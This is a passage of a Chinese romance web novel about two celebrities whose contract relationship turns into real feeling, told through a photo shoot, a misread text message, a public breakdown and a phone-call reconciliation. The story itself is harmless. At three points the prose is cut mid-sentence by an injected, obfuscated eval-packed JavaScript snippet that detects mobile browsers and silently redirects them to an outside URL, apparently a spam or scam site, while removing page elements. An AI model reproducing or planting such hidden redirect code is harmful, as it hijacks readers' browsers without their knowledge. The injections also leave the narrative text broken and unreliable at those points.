拍摄主题是“反差与共生”,需要他们展现出一种微妙的张力。有一组镜头,需要傅晏辞从背后半环住程诺,下巴几乎抵在他的肩窝。当傅晏辞的气息靠近时,程诺的身体瞬间绷紧,耳朵以肉眼可见的速度变红。 “程诺,放松,后背靠着我。”傅晏辞的声音在他耳边响起,温热的气息拂过耳廓。 程诺的心脏狂跳,几乎要冲破胸膛。他能清晰地闻到傅晏辞身上淡淡的须后水味道,感受到他胸膛传来的体温。这种过于亲密的接触,比民宿的大炕还要让他无所适从。 “好!很好!程诺这个害羞的感觉非常对!保持住!”摄影师却惊喜地大叫,快门声咔嚓作响。 程诺:“……”我不是害羞,我是快窒息了! 傅晏辞似乎低低地笑了一声,环着他的手臂稍稍收紧,给了他一个支撑的力道。就是这个细微的动作,让程诺奇迹般地放松了一点。他试着按照摄影师的指引,微微侧头,眼神与傅晏辞的交汇。 在强光的照射下,傅晏辞的眼睛显得格外深邃,里面映着他的小小倒影。那一瞬间,程诺恍惚觉得,这个世界仿佛只剩下他们两个人。 【哇塞!路透图绝了!】 【这身高差!这体型差!性张力拉满!】 【程诺耳朵红透了!好纯情!辞哥眼神好宠!】 【还有人说他俩是演的吗?我不信!】 拍摄在一种诡异又和谐的氛围中持续了数小时。后半程,程诺在傅晏辞的引导下,渐渐放开了些,虽然依旧青涩,但偶尔捕捉到的自然瞬间,连摄影师都连连称赞。 结束拍摄,两人坐进返回公司的保姆车。卸下专业的伪装和密集的闪光灯,车厢内陷入一种疲惫的沉默。 程诺靠着车窗,看着窗外飞速倒退的霓虹,田园的宁静仿佛已成遥远的梦。身体的疲惫还在其次,心里的混乱更让他无力。傅晏辞在拍摄时的引导和维护,那个未尽的夜晚问题,以及自己不受控制的心跳,都像一团乱麻,缠得他透不过气。 傅晏辞坐在他旁边,闭目养神,侧脸在明明灭灭的车灯映照下,看不出情绪。 “今天……谢谢。”程诺打破沉默,声音有些干涩。 傅晏辞睁开眼,看向他:“份内事。” 又是份内事。程诺心里一阵烦躁,那股莫名的勇气又涌了上来,他转过头,直视着傅晏辞的眼睛:“傅晏辞,你那天晚上问我的问题,是不是在耍我?” 傅晏辞似乎没料到他会在此时旧事重提,愣了一下,随即恢复平静:“为什么这么问?” “因为我想不明白!”程诺有些激动,“如果没有协议,我们根本就是两个世界的人!你会在片场替我解围吗?你会记得给我带双皮奶吗?你会……你会这样帮我吗?”他指了指自己,意指今天的拍摄。 傅晏辞沉默地看着他,目光深沉,像是在审视,又像是在思考。车厢内的空气仿佛凝固了。 良久,他才缓缓开口,声音低沉:“程诺,协议是开始,但不是所有行为的唯一理由。” 这句话像一颗石子,投入程诺心湖,激起千层浪。不是唯一理由?那还有什么理由? 他还想再问,保姆车却缓缓停了下来,公司到了。 傅晏辞率先拉开车门,走了下去,没有再看程诺一眼,只留下一个挺拔而疏离的背影。 程诺坐在车里,看着傅晏辞消失在电梯口,心里空落落的,又像是被什么东西填满了,涨得发酸。 不是唯一理由……那到底是什么? 杂志拍摄结束后,程诺有了一天的喘息时间。他把自己关在家里,试图整理如同被猫玩过的毛线团一样的思绪。他决定用自己最擅长的方式——看漫画和推理番的思维,来“分析”一下傅晏辞这个“案子”。 嫌疑人:傅晏辞 已知线索: 1.主动提出“协议恋爱”,动机疑似“碰瓷”以求清净(存疑)。 2.片场探班,行为:撑腰+投喂双皮奶。 3.田园民宿,行为:分担重活、夜间盖被、询问“若无协议”假设性问题。 4.杂志拍摄,行为:专业引导+近距离接触+车内模糊发言“不是唯一理由”。 矛盾点:嫌疑人的行为存在严重分裂。一方面,其言行始终强调“协议”、“份内事”,划清界限;另一方面,其具体行为(特别是片场和民宿)已明显超出“协议”所需的表演范畴,带有个人化的关心甚至……试探? 初步结论:傅晏辞要么是个演技登峰造极、连生活细节都能精准设计的影帝(可能性30%),要么就是他口是心非,其行为背后存在协议之外的动机(可能性70%)。 程诺盯着自己写在备忘录里的分析,感觉脑子更乱了。70%的可能性指向“协议之外的动机”,那会是什么?难道傅晏辞真的…… “叮咚——”门铃响了,打断了他的“刑侦”工作。 程诺心里一紧,有种不祥的预感。他蹭到门口,透过猫眼一看——果然是傅晏辞。对方手里又提着一个熟悉的食盒。 程诺深吸一口气,拉开了门。 “杨姐联系了几家媒体,要做个联合专访,重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102931|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点回应一下CP热度。这是采访提纲,你先看看。”傅晏辞的语气公事公办,将一份文件递给他,然后自然而然地登堂入室,将食盒放在餐桌上,“顺便给你带了午饭。” 程诺接过文件,注意力却完全被食盒吸引。他打开一看,不再是清淡的养生餐,而是他最喜欢的那家川菜馆的外卖,红油赤酱,香气扑鼻,甚至还有一瓶冰镇可乐! 程诺瞪大了眼睛,难以置信地看着傅晏辞。太阳打西边出来了?卷王开始认同咸鱼的饮食哲学了? 傅晏辞面不改色,一边给自己倒水一边说:“偶尔放纵一下没关系。而且,”他顿了顿,看向程诺,“你看起来需要点能让你开心的东西。” 程诺的心又被不轻不重地撞了一下。他需要点开心的东西?傅晏辞怎么知道他不开心?因为他昨天的追问?还是因为他今天的“自闭”? 他低头看着那份麻辣香锅,又看看那瓶冒着凉气的可乐,再想想傅晏辞刚才那句话,感觉自己那个“70%可能性”的结论,证据又充分了一点。 吃饭的时候,程诺一边被辣得嘶嘶吸气,一边偷偷观察傅晏辞。傅晏辞吃相依旧优雅,只偶尔夹一筷子清淡的配菜,大部分时间是在喝水,看着程诺大快朵颐。 “采访提纲看了吗?”傅晏辞问。 “啊?哦,还没。”程诺光顾着吃和“分析嫌疑人”了。 “重点问题都标红了,主要是关于我们日常相处和未来规划的。回答的时候,注意自然,可以适当加入一些……真实的细节。”傅晏辞提醒道。 “真实的细节?”程诺不解。 “比如,我喜欢在早上健身,你喜欢赖床。我饮食清淡,你无辣不欢。这些反差,观众喜欢看。”傅晏辞解释道,语气依旧专业,但程诺却敏锐地捕捉到,他在说“你喜欢赖床”时,嘴角似乎有极淡的笑意。 这又是表演吗?还是……他真的觉得这样……有点可爱? 程诺觉得自己快被傅晏辞这种时而靠近、时而推远的态度搞疯了。他决定主动出击一次。 他放下筷子,鼓起勇气,直视着傅晏辞:“傅老师,你昨天说,协议不是唯一理由。那……你能告诉我,其他的理由是什么吗?” 傅晏辞拿着水杯的手顿了顿,抬眼迎上他的目光。餐厅里安静下来,只有空调运转的微弱声音。他的眼神复杂,像是在权衡,又像是在挣扎。 就在程诺以为他又要回避时,傅晏辞却缓缓开口:“程诺,你觉得……‘投喂’一只总想把自己藏起来的咸鱼,看着它偶尔伸出脑袋,鼓着腮帮子吃东西的样子,算不算一个理由?” 程诺彻底愣住了。 这算什么理由?这比喻……也太奇怪了吧!可是,为什么他的心跳得这么快?脸也有点发烫? 傅晏辞没有等他回答,站起身,拿起水杯,走向厨房,声音恢复了平时的冷静:“快吃吧,吃完看提纲。下午对一下采访稿。” 程诺看着他的背影,又低头看看眼前的麻辣香锅和可乐。 “投喂咸鱼”? 所以,在傅晏辞眼里,他是一条……需要被投喂的咸鱼?而傅晏辞乐在其中? 这个认知,比任何复杂的推理都让程诺心神不宁。他感觉自己好像触碰到了某个真相的边缘,但这个真相,比他想象的还要……令人不知所措。 8. 咸鱼改造计划 联合专访在一个宽敞明亮的演播厅进行,台下坐着几十家媒体的记者。程诺坐在傅晏辞旁边,手心微微出汗。相比综艺和拍摄,这种需要直接面对尖锐问题的场合,更让他紧张。 傅晏辞依旧是定海神针般的存在,西装革履,从容不迫。在主持人开场后,他率先接过话头,沉稳地介绍了两人“相识相知”的过程(当然是官方版本),言辞得体,无可挑剔。 轮到媒体提问环节,问题果然如预料般犀利。 “请问二位,官宣恋情后,生活中最大的改变是什么?” 傅晏辞答:“变得更‘接地气’了,比如,开始了解哪些外卖比较好吃。”他说着,含笑瞥了程诺一眼,引发台下善意的笑声。巧妙地将话题引向了轻松的方向。 程诺赶紧接上:“我、我则开始注重健康作息了……”这话说得他自己都有点心虚。 “有考虑过未来的规划吗?比如合作作品,或者更长远的发展?” 傅晏辞应对自如:“工作上的合作会谨慎选择适合的项目。至于更长远的事,”他顿了顿,看向程诺,眼神温和,“我们享受当下的过程,顺其自然。” 程诺跟着点头,心里却想:顺其自然?我们现在这样算自然吗? 这时,一个记者将问题直接抛给了程诺:“程老师,之前有传闻说您性格比较……随性,那和自律的傅老师在一起,会不会感到有压力?傅老师会管您很严吗?” 这个问题有点棘手。程诺一下子卡壳了,下意识地看向傅晏辞求助。 傅晏辞没有直接替他回答,而是微笑着看向他,眼神里带着鼓励,仿佛在说:“按你想的说。” 程诺接收到他的目光,深吸一口气,想起了傅晏辞那句“投喂咸鱼”的怪话,莫名有了点底气。他挠了挠头,露出一个有点不好意思的笑容:“压力……其实还好。傅老师他……与其说是管我,不如说是……嗯……‘照顾’吧。比如知道我吃不惯太清淡的,也会偶尔陪我吃辣条……哦不是,吃川菜。”他一时嘴快,差点说漏嘴,赶紧纠正。 台下顿时一片笑声,连主持人都笑了。傅晏辞也忍不住弯了弯嘴角,看向程诺的眼神里多了几分真实的无奈和……纵容? 【哈哈哈程诺太实诚了!辣条都出来了!】 【辞哥那个表情!一脸‘我家孩子真拿你没办法’!】 【看来私下相处模式真的很自然啊!】 【程诺说‘照顾’的时候好甜!】 这个小小的“失误”反而成了专访的高光时刻,生动地展现了一种真实又反差的亲密感。后续的问题,程诺渐渐放松下来,虽然回答依旧朴实,却意外地博得了不少好感。 专访顺利结束。回到后台,程诺长长舒了口气,感觉自己像是打了一场胜仗。 “表现得很好。”傅晏辞递给他一瓶水,语气带着赞许,“特别是‘辣条’那段,效果不错。” 程诺接过水,有点小得意,又有点不好意思:“我那是嘴瓢了……” “真实就好。”傅晏辞看着他,目光柔和。 这时,傅晏辞的手机响了一下,他拿出来看了一眼,眉头微蹙,对程诺说:“杨姐找我有点事,我过去一下。车在楼下,你累了可以先回去休息。” “哦,好。”程诺点点头。 傅晏辞匆匆离开后,程诺也准备收拾东西走人。他摸了摸口袋,发现自己手机好像忘在化妆间了。返回化妆间找到手机,正准备离开,却看到傅晏辞刚才坐的椅子上,遗落了他的另一个私人手机(傅晏辞有两个手机,一个工作用,一个私人用)。 程诺拿起手机,正准备给傅晏辞送过去,手机屏幕却因为他的触碰突然亮了起来,锁屏界面显示着几条新消息预览。发信人备注是“杨姐”,内容却让程诺瞬间僵在原地: “晏辞,‘咸鱼改造计划’进度如何?舆论反馈很好,但别陷得太深,记得初衷。下个月电影开机,才是重点。” 咸鱼改造计划? 初衷? 别陷得太深? 这几个词像冰锥一样刺进程诺的脑子里,让他浑身发冷。所以……一切真的都只是计划?所谓的照顾、投喂、甚至那句让人心跳加速的“理由”,都只是为了“改造”他这条咸鱼,配合舆论的“演出”?下个月电影开机,就意味着……计划结束? 巨大的失落和难堪瞬间淹没了他。他觉得自己像个傻子,竟然真的以为…… 就在这时,傅晏辞推门走了进来,显然是发现手机落了回来取。他看到程诺拿着他的手机,以及程诺那煞白的脸色和难以置信的眼神,心里顿时一沉。 “程诺,你……”傅晏辞快步上前。 程诺像被烫到一样把手机塞回他手里,后退一步,扯出一个比哭还难看的笑:“杨、杨姐找你,好像有急事。我、我先走了。” 说完,他几乎是落荒而逃,不敢再看傅晏辞一眼。 傅晏辞看着他的背影,又低头看了看手机屏幕上那条还没来得及点开的消息,眉头紧紧锁起,脸上第一次露出了类似懊恼和……慌乱的情绪。 程诺冲进电梯,靠在冰冷的轿厢壁上,感觉全身的力气都被抽空了。 原来,心动的感觉是假的,温暖的照顾是假的,连那个可笑的“投喂咸鱼”的理由,也只是计划的一部分。 他这条咸鱼,果然不配拥有童话。 从那天起,程诺单方面开启了“冷战”模式。 他不再主动联系傅晏辞,傅晏辞发来的消息(大多是关于未完成工作的沟通),他也回复得极其简短敷衍——“收到”、“好的”、“知道了”。综艺后续的补拍镜头,他全程保持职业假笑,与傅晏辞的互动僵硬得像两块磁铁的同极,充满了刻意的排斥。 傅晏辞显然察觉到了他的变化。他试图找程诺谈一次,但程诺要么借口有工作溜走,要么就装傻充愣:“傅老师,我没事啊,可能就是最近有点累。” 他那双总是带着点慵懒或笑意的大眼睛,此刻像蒙上了一层灰,躲闪着傅晏辞探究的目光。 林姐也看出了不对劲,私下问程诺:“你和傅老师怎么了?闹矛盾了?现在可是关键时期,多少双眼睛盯着你们呢!” 程诺扯着嘴角:“没矛盾,林姐,真就是累了。”他没法跟林姐解释那条让他心寒彻骨的消息。难道要说,自己像个傻子一样动了心,结果发现一切都是人家计划好的“改造工程”? 傅晏辞那边,气压也低得吓人。杨姐敏锐地察觉到他心情极差,工作效率却高得惊人,像是把所有情绪都投入到了工作中,为下个月的电影开机做准备。她试探着问起程诺,傅晏辞只冷淡地回一句:“他可能需要点个人空间。” 这种诡异的低气压,终于在不久后的一次公开活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102932|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中爆发了。 那是一个时尚盛典,傅晏辞和程诺作为近期最热的CP,自然是红毯和内场的焦点。按照流程,他们需要一起走红毯,并在内场相邻而坐。 红毯上,傅晏辞依旧保持着风度,细心帮程诺整理了一下并不存在的领结(程诺穿的是休闲西装),程诺却身体僵硬,脸上笑容勉强,眼神始终避开与傅晏辞的直接接触。敏感的媒体和镜头立刻捕捉到了这份不寻常。 【感觉今天晏诺CP气氛怪怪的?】 【程诺好像不太高兴?眼睛也有点肿?】 【辞哥还是一如既往的体贴,但程诺不怎么接招啊?】 内场活动时,主持人为了活跃气氛,cue到了他们,开玩笑地问傅晏辞:“晏辞,听说你最近在教程诺健身?效果怎么样?有没有把我们诺诺练哭啊?” 这本是个善意的玩笑,以往傅晏辞可能会配合地调侃两句。但今天,没等傅晏辞回答,程诺却突然拿起话筒,扯出一个极其难看的笑容,声音带着不易察觉的哽咽:“傅老师太严格了,我可能……真的不是那块料。” 他说完,迅速低下头,但高清镜头还是捕捉到了他眼眶瞬间泛红、强忍泪水的画面。 全场瞬间安静了一下,随即响起窃窃私语。傅晏辞的脸色一下子沉了下来,他看向程诺,眼神复杂,有震惊,有不解,还有一丝……受伤? 主持人赶紧打圆场,把话题引开了。但程诺那红了眼眶的样子,已经被无数镜头定格。 当晚,热搜炸了: 程诺哭了【爆】 傅晏辞程诺冷战【热】 程诺我不是那块料【新】 舆论瞬间两极分化。CP粉心疼程诺,痛骂傅晏辞要求太高、不够体贴;傅晏辞的唯粉则反击程诺矫情、业务能力差还拖累搭档;路人则纷纷猜测两人是否情变。 程诺关掉手机,把自己埋进被子里。他没想到自己一时没控制住情绪,会闹出这么大风波。他并不想这样,他只是……太难受了。那句“我不是那块料”,不仅仅是回应主持人的玩笑,更是他对那个“咸鱼改造计划”的绝望自嘲。 另一边,傅晏辞的公寓里。 杨姐脸色铁青:“到底怎么回事?程诺那孩子不像会无理取闹的人!你是不是做了什么?” 傅晏辞烦躁地松了松领带,第一次在经纪人面前显露出如此明显的情绪波动:“我什么都没做!”或者说,他还没来得及做,那个误会就像雪球一样越滚越大。 他点开那条程诺红着眼眶的热搜视频,反复看着。画面里,程诺低下头强忍泪水的样子,像根针一样扎在他心上。 他第一次开始认真反思,那个始于“碰瓷”和“协议”的计划,是不是从一开始就错了?他以为自己掌控着一切,却没想到,最先失控的,可能是他自己的心。 他拿起私人手机,找到程诺的对话框,输入又删除,反复几次,最终只发过去三个字: 【对不起。】 程诺在被窝里听到手机提示音,拿出来看到这三个字,眼泪终于忍不住掉了下来。 对不起? 对不起什么? 对不起计划被他发现了?还是对不起……骗了他? 这条道歉,非但没有安抚他,反而像是在确认他的猜测,让他更加难过。 他们之间,好像真的走到了冰点。 9. 直播中的意外 程诺那条带着哭腔的热搜,像一块投入平静湖面的巨石,激起了滔天巨浪。公关团队连夜开会,最终给出的方案是“冷处理”——暂时减少两人的公开合体,让热度自然降温,同时通过一些侧面消息引导舆论,强调“艺人也是普通人,也会有情绪波动”。 于是,程诺和傅晏辞进入了事实上的“隔离期”。 程诺把自己关在家里,真正过上了梦寐以求的咸鱼生活——吃了睡,睡了吃,刷剧打游戏。但奇怪的是,以往能让他快乐无比的肥宅套餐和动漫新番,此刻都变得索然无味。家里安静得可怕,隔壁也再也没有传来熟悉的动静。 他发现自己会不自觉地竖起耳朵听门口的动静,会反复点开和傅晏辞的聊天对话框,看着那句孤零零的“对不起”发呆。愤怒和难过之后,一种更深的空虚和失落感攫住了他。他不得不承认,那个卷王邻居,不知何时已经蛮横地挤进了他的生活,留下了难以填补的空白。 他开始不受控制地回想和傅晏辞相处的点点滴滴。从最初的阳台“碰瓷”,到综艺里的鸡飞狗跳,再到片场无声的撑腰和民宿夜晚那个未尽的问題……傅晏辞的行为,真的全是冰冷的“计划”吗?那双给他盖过被子的手,那个在镜头下引导他、安抚他的眼神,那句“投喂咸鱼”的古怪话语……难道就没有一丝一毫的真实? 那条“咸鱼改造计划”的短信,像根刺扎在心里,但此刻,怀疑的种子也开始萌芽:杨姐口中的“初衷”到底是什么?只是单纯利用CP热度吗?“别陷得太深”……是说给谁听的?傅晏辞……也会有可能“陷进去”吗? 另一边,傅晏辞的状态也好不到哪里去。他提前进入了电影角色的准备期,用高强度的剧本研读和体能训练填满所有时间,试图用工作麻痹自己。但他发现,程诺那双红着眼睛、充满失望和难过的脸,总会在他稍有空闲时闯入脑海。 杨姐看着他日渐冷峻的侧脸,叹了口气:“晏辞,你和程诺之间,是不是有什么误会?那孩子不像是有心机的。” 傅晏辞沉默着。误会?他大致能猜到问题出在哪里。他懊悔自己当初那个轻率的“计划”名称,更懊悔没有及时解释清楚。但现在程诺明显在躲着他,任何贸然的解释都可能被理解为更大的欺骗。 “电影下个月开机,你要进组三个月。”杨姐提醒他,“这边的事情,要不要先放一放?” 傅晏辞看着窗外,没有回答。放得下吗?他自己也不知道。 打破僵局的,是一个意外。 隔离期一周后,程诺之前录制的那个生活类综艺《我们的生活慢下来》播出了最后一期——田园民宿的收官篇。节目组为了热度,搞了一个主演线上直播复盘的活动。程诺和傅晏辞作为主角,无法推辞,但安排的是分开连麦,避免了直接同框的尴尬。 直播前半段还算顺利,主持人主要问一些节目录制的趣事,程诺勉强打起精神应对。到了观众提问环节,一个被抽中的问题让程诺瞬间变了脸色: “诺诺,看到你上次活动好像不开心,是不是和辞哥吵架了?你们还会继续合作吗?” 这个问题直击要害,直播间的弹幕瞬间爆炸。 程诺握着话筒的手指收紧,脸色发白,大脑一片空白。他张了张嘴,却发不出任何声音,那种被当众揭开伤疤的难堪和委屈再次涌了上来,眼眶不受控制地开始发热。 就在他即将失控的前一秒,直播画面上突然出现了技术故障的提示,他的连线画面被切掉了,只剩下主持人和傅晏辞的画面。 导播室里一阵忙乱。而就在这混乱的几十秒里,观看直播的观众却清晰地听到,在程诺画面被切掉前,从傅晏辞的麦克风里,传来一声压抑不住、清晰而焦急的低呼: “程诺!” 那声音里的担忧和紧张,几乎要溢出屏幕。紧接着,是傅晏辞迅速对现场工作人员说的话,声音压得很低但语气急迫:“快切画面!别让他看了!” 【我听到了什么?!辞哥喊程诺了!】 【他声音好急啊!他还在关心他!】 【技术故障是假的吧?是辞哥让切掉的吧?就是为了保护程诺!】 【我就说他们没真吵架!辞哥明明很在乎!】 这几秒钟的“事故”,比任何公关通稿都更有说服力。傅晏辞那声下意识的、充满保护欲的呼喊,瞬间扭转了舆论风向。 程诺坐在电脑前,看着黑掉的屏幕,也清晰地听到了傅晏辞那声焦急的呼唤和后续的指令。他愣住了,心脏像被什么东西狠狠撞了一下,酸涩又滚烫。 所以……他还是在第一时间想着保护自己?哪怕是在冷战期间?哪怕自己那样对他? 直播很快恢复正常,程诺的画面重新连接,主持人机智地圆了过去,但所有人的心思都已经不在节目本身了。 直播一结束,程诺的手机就响了。屏幕上跳动的名字,是傅晏辞。 程诺看着那个名字,心跳如鼓。他犹豫了很久,在电话即将自动挂断的前一秒,按下了接听键。 电话那头,是傅晏辞低沉而急切的声音,带着一丝不易察觉的沙哑: “程诺,你没事吧?” 程诺握着手机,听着听筒里傅晏辞那句带着急切和担忧的“你没事吧?”,喉咙像是被什么东西堵住了,一时说不出话来。 “程诺?能听到吗?”傅晏辞的声音再次传来,背景音很安静,他应该是在某个私密的空间。 “……嗯。”程诺终于找回了自己的声音,很低,带着点鼻音。 电话那头沉默了几秒,傅晏辞再开口时,语气变得异常严肃和认真:“对不起。直播的事,还有……之前的所有事。” 程诺的心揪紧了。他终于要开始解释了吗?用什么样的理由来圆那个“计划”? “那条短信,你看到了,对吗?”傅晏辞直接挑明了,没有绕任何圈子。 程诺没想到他会这么直接,愣了一下,才闷闷地“嗯”了一声。 “那不是你想象的那样。”傅晏辞的声音低沉而清晰,“‘咸鱼改造计划’……这个名字很蠢,我知道。那是我最开始,为了说服杨姐同意这个荒唐的‘协议恋爱’,随口编的一个由头。” 程诺屏住了呼吸。 “我当时跟杨姐说,程诺这个人,有潜力,但太懒散,缺乏动力。我们可以借这个机会,‘刺激’他一下,帮他提升事业心,对双方都有利。杨姐这才勉强点头。”傅晏辞的语气里带着一丝自嘲,“所谓的‘初衷’,只是说服经纪人的一个商业借口。我没想到……你会看到,更没想到你会当真。” 程诺的心脏开始不受控制地狂跳起来。借口?只是为了说服杨姐? “那……那你为什么……”程诺想问,既然只是借口,为什么又要做那些超出协议的事情?为什么探班?为什么盖被子?为什么问那个奇怪的问题? “因为我发现,我做不到仅仅把它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102933|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当成一个计划。”傅晏辞打断了他,声音里带着一种前所未有的坦诚,甚至有一丝不易察觉的脆弱,“从你穿着皮卡丘睡衣,一脸懵地看着我翻阳台开始,事情就失控了。” “我觉得你迷迷糊糊的样子很有趣,看你吃到喜欢的东西时眼睛发亮的样子很……可爱。看你被欺负会忍不住生气,看你难过……”他顿了顿,声音更低了,“……我这里会不舒服。” 傅晏辞指了指自己心脏的位置,尽管程诺看不到。 “片场探班,是因为听说何岩刁难你,我坐不住。问你那个‘如果没有协议’的问题,是因为我自己也搞不清楚,我对你的这些……关注和在意,到底有多少是源于协议,有多少是……”他似乎在寻找合适的词语,最终轻声说道,“……源于我自己。” “我说‘投喂咸鱼’是个理由,不是玩笑。看着你因为一点小事就满足开心的样子,让我觉得……很放松,很有趣。这对我来说,是从来没有过的体验。”傅晏辞的语速很慢,每一个字都像是经过深思熟虑,“杨姐提醒我别陷太深,是因为她看出了我的异常。她怕我分心,影响接下来的电影。但她不知道,可能……已经有点晚了。” 电话两端都陷入了长久的沉默。只有彼此细微的呼吸声透过电波传递。 程诺完全呆住了。他预想过傅晏辞的解释,可能是狡辩,可能是敷衍,却唯独没想过会是如此直白而彻底的坦白。他将自己最初的算计、中间的动摇、以及后来的失控,毫无保留地摊开在了程诺面前。 那个高高在上、一切尽在掌握的傅晏辞,此刻在电话里,像一个做错了事、笨拙地展示着自己真实内心的……普通人。 “程诺,”傅晏辞的声音将他从震惊中拉回,“我知道,因为我最初那个愚蠢的计划和后来的隐瞒,伤害了你。我不求你立刻原谅。但我希望你知道,后来所有的一切,照顾你,帮你,甚至……可能管你管得有点多,都不是计划的一部分。那是我……我想那么做。” 我想那么做。 这五个字,像最后一把钥匙,咔哒一声,打开了程诺心中所有拧巴的结。愤怒和委屈像退潮般散去,留下的是一种酸涩又饱胀的情绪,几乎要满溢出来。 他吸了吸鼻子,带着浓重的哭腔,却问出了一个看似无关的问题:“傅晏辞……你下个月就要进组了?” 傅晏辞似乎没料到他问这个,顿了一下才回答:“……嗯。三个月。” “哦……”程诺低下头,看着自己的拖鞋尖,小声地、带着点自己都没察觉的依赖和委屈,嘟囔了一句:“……那好久啊。” 电话那头的傅晏辞,在听到这句话后,紧绷的下颌线终于松弛下来,眼底深处像是有什么东西瞬间被点亮了。他几乎能想象出程诺此刻低着头,鼻尖红红,小声抱怨的样子。 他放柔了声音,带着一种郑重的承诺意味: “程诺,等我回来。我们……重新开始。这次,没有协议,没有计划。” 程诺没有立刻回答,但傅晏辞听到了他那边细微的、像是点头的动静,还有一声带着鼻音的、几不可闻的: “……嗯。” 只是一个简单的音节,却让傅晏辞悬了许久的心,终于稳稳地落回了实处。 窗外的月光温柔地洒进来,照亮了程诺微微发红的耳尖,也照亮了电话另一端,傅晏辞脸上那抹如释重负的、温柔的笑意。 误会,终于在这一刻,冰雪消融。 10. 咸鱼开始自学游泳 那通电话像一场酣畅淋漓的春雨,冲刷掉了两人之间厚重的隔阂与误解。虽然谁也没有再刻意提起那个夜晚的坦白,但空气中那种剑拔弩张的冰冷感,已然消融。 第二天早上七点半,程诺家的门铃没有像往常一样变成“起床号”,但程诺却自己醒了。他在床上翻滚了两圈,破天荒地没有赖床,而是磨磨蹭蹭地爬起来,洗漱,然后鬼使神差地走到了门口,透过猫眼往外看。 走廊空无一人。 一股莫名的失落感涌上心头。也是,昨天才刚……他大概也不会像以前那样“例行公事”了吧。 正当他耷拉着脑袋准备回屋时,手机响了,是傅晏辞的消息: 【醒了?门口有早餐。】 程诺一愣,猛地拉开门。果然,门口放着一个熟悉的保温袋,里面是还温热的豆浆和酥脆的油条,都是他喜欢吃的中式早点。没有精致的摆盘,没有营养学的说教,只有最简单直接的投喂。 他提起袋子,心里像被这温热的早餐熨帖过一样,暖洋洋的。他拿出手机,斟酌了一下,回了两个字: 【谢谢。】 想了想,又加了个(^_^)的表情符号。 傅晏辞的回复很快,也是几个简单的汉字: 【嗯。趁热吃。】 没有多余的言语,但这种回归的、带着点笨拙的关心,却比任何甜言蜜语都让程诺感到踏实。他坐在餐桌前,咬着酥脆的油条,感觉这是最近吃过最香的一顿早餐。 接下来的几天,傅晏辞为电影开机做最后的准备,行程很满。但他总会用这种不经意的方式刷着存在感:可能是突然送到公司的、符合程诺口味的下午茶;可能是深夜收工后,发来的一句简短的【睡了没?】;也可能是分享一首他觉得程诺会喜欢的、轻松搞笑的歌曲链接。 程诺呢,也从最初的被动接收,渐渐变得会主动分享。拍到一个好玩的表情包,看到一则有趣的新闻,甚至只是天空一朵奇形怪状的云,他都会顺手发给傅晏辞。傅晏辞的回复通常言简意赅,但每次都会回。 他们不再需要刻意“表演”给谁看,这种平淡琐碎的分享,反而更像真正的情侣日常。 傅晏辞进组前最后一天晚上,他难得没有工作,敲响了程诺的家门。 程诺打开门,看到他手里没提任何东西,心里有点小小的期待落空,但面上还是装作若无其事:“傅老师,有事?” “明天一早的飞机。”傅晏辞看着他,眼神平静,“不邀请我进屋坐坐?” “哦……好。”程诺侧身让他进来。 傅晏辞很自然地走到沙发前坐下,程诺则坐在了他旁边的单人沙发上。两人一时无话,电视机里播放着无聊的综艺节目,充当着背景音。 “东西都收拾好了?”程诺没话找话。 “嗯。” “那边天气怎么样?听说挺冷的。” “带了厚衣服。” “……哦。” 对话干巴巴的,进行得有点艰难。但奇怪的是,气氛并不尴尬。 程诺偷偷用余光打量傅晏辞。他穿着简单的家居服,侧脸在电视光影下显得有些柔和,不像平时那么有距离感。三个月,好久啊……程诺心里默默想着,手指无意识地抠着沙发扶手。 “程诺。”傅晏辞忽然开口,叫了他的名字。 “啊?”程诺抬起头。 傅晏辞转过头,目光沉静地落在他脸上:“我不在的时候,记得按时吃饭,别总吃外卖。早上……能起来就起来,起不来也别勉强。” 这嘱咐,像极了要出远门的家长。程诺心里一酸,嘴上却硬着:“知道啦,我又不是小孩子。” 傅晏辞看着他微微嘟起的嘴,眼底闪过一丝笑意,但很快又恢复了正经:“工作上的事,听林姐安排,有困难……可以找杨姐,或者,直接告诉我。” “告诉你干嘛?你又不在。”程诺小声嘀咕。 “我可以打电话。”傅晏辞接得很快。 程诺不说话了,心里那点酸涩里,又掺进了一丝甜。 两人又沉默地坐了一会儿,傅晏辞站起身:“不早了,你早点休息。我回去了。” 程诺也跟着站起来,送他到门口。 傅晏辞的手搭在门把手上,却没有立刻拧开。他停顿了几秒,转过身,看着程诺,眼神深邃,仿佛有话要说。 程诺的心跳不由自主地加快了。 